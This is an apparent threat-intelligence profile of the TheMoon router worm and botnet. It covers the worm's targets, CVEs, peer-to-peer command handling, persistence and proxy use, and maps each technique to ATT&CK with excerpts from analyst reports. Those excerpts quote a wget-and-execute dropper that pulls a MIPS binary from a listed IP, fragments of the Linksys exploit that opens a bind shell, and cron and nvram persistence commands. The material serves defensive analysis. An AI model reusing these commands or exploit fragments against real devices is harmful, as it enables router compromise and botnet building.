TheMoon
- Type
- Worm
- Capabilities
- Initial accessPersistenceDefense evasion
- Platforms
- LinuxNetwork deviceIOT
TheMoon is a worm and botnet malware family identified in 2014 that compromises routers and other internet-connected devices by exploiting firmware vulnerabilities. Its targets include Linksys and ASUS small-office and home-office routers, as well as IP cameras. Known infection chains exploit unauthenticated command execution vulnerabilities, including CVE-2014-9583 in ASUS routers and the Linksys E-Series command injection flaw subsequently assigned CVE-2025-34037. Router payloads include Linux MIPS little-endian ELF binaries.
TheMoon variants support peer-to-peer command distribution and the downloading and execution of additional payloads. An analyzed implementation separates timekeeping, peer communications, and payload retrieval into distinct modules. It registers with predefined peers, forwards messages using a time-to-live mechanism, and retrieves executable files in response to commands. Variants modify firewall rules to restrict competing infections while preserving attacker access. Some implementations use unencrypted communications.
Persistent ASUS infections use writable flash storage, startup execution hooks, and scheduled tasks to relaunch malicious components. These variants can manipulate router configuration to prevent flash-partition erasure and cause a malicious executable masquerading as an NTP client to run instead of the legitimate utility. TheMoon infections have also deployed SOCKS proxies, converting compromised routers into infrastructure for relaying third-party traffic. The family has been associated with the Faceless residential proxy service and with compromised Linksys and Cisco routers used by the 5socks and Anyproxy services, which U.S. authorities disrupted in May 2025.
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
17 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Verdachte logboekvermeldingen van de lighttpd-webserver ... wijzen echter op een mogelijke exploitatie van een bekende kwetsbaarheid in de Lighttpd-webdav-module.
Execution
5 techniques
Execution
Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.
ttcp_ip=-h `" . $payload . "`& ... build_packet ( $host , $port , $vuln , "/tmp/c0d3z" ) | msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 ... Attempting to get a shell... fsockopen ( $host , 4444
Below is the content of file nmlt1.sh downloaded from hxxp://78.128.92.137:80/. #!/bin/sh cd /tmp rm -f .nttpd wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1 chmod +x .nttpd ./.nttpd
Exploit for 0day linksys unauthenticated remote code execution vulnerability. As exploited by TheMoon worm | Executing payload... if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z")))
wordt opnieuw een ASUS-specifieke NVRAM-optie gebruikt om het uitvoeringspad te laten beginnen met de kwaadaardige /jffs/.bin directory: nvram set env_path="/jffs/.bin".
Persistence
2 techniques
Persistence
Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.
Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten.
Privilege Escalation
2 techniques
Privilege Escalation
Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.
Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten.
Stealth
3 techniques
Stealth
creëert de dropper een kwaadaardig NTP-client uitvoerbaar bestand /jffs/.bin/ntpclient.
#!/bin/sh cd /tmp rm -f .nttpd wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1 chmod +x .nttpd ./.nttpd
wordt opnieuw een ASUS-specifieke NVRAM-optie gebruikt om het uitvoeringspad te laten beginnen met de kwaadaardige /jffs/.bin directory: nvram set env_path="/jffs/.bin".
Defense Impairment
2 techniques
Defense Impairment
build_packet ( $host , $port , $vuln , "chmod a+rwx /tmp/c0d3z" )
when the infection is done, iptables rules will be imported to the infected device. Through these rules, a wall is built by TheMoon to prevent other malware from infecting the device.
Lateral Movement
1 technique
Lateral Movement
This bot connects to TCP port 4543 of the designated IP and sends it the required file name and command id.
Command and Control
5 techniques
Command and Control
Embedded JavaScript code is extracted and sent to the command and control (C&C) server. The C&C server will execute JavaScript code and respond with a result... Bot sends a request to the C&C URL and gets a valid (shared) Google reCAPTCHA response token.
Verspreid over de verschillende shell-scripts stuurt de malware telemetrie naar de C2-server ... GET /asi.ko ... GET /asi.ok.
Deze software creëert een socks5 proxy wat vermoedelijk gebruikt wordt door actoren om malicieuze activiteiten te ontplooien.
This module adds an iptables rule to open UDP port 5143, and then creates a thread which is responsible for P2P communication... For every received message, the bot decreases the TTL by one, and forwards the message to its peers if the result is not zero.
wget -O /tmp/asi.sh http://31.170.22[.]195/asi.sh ... GET /.nttpd → verzoek dat de malware van de server ophaalt.
Observables
24 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
23 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.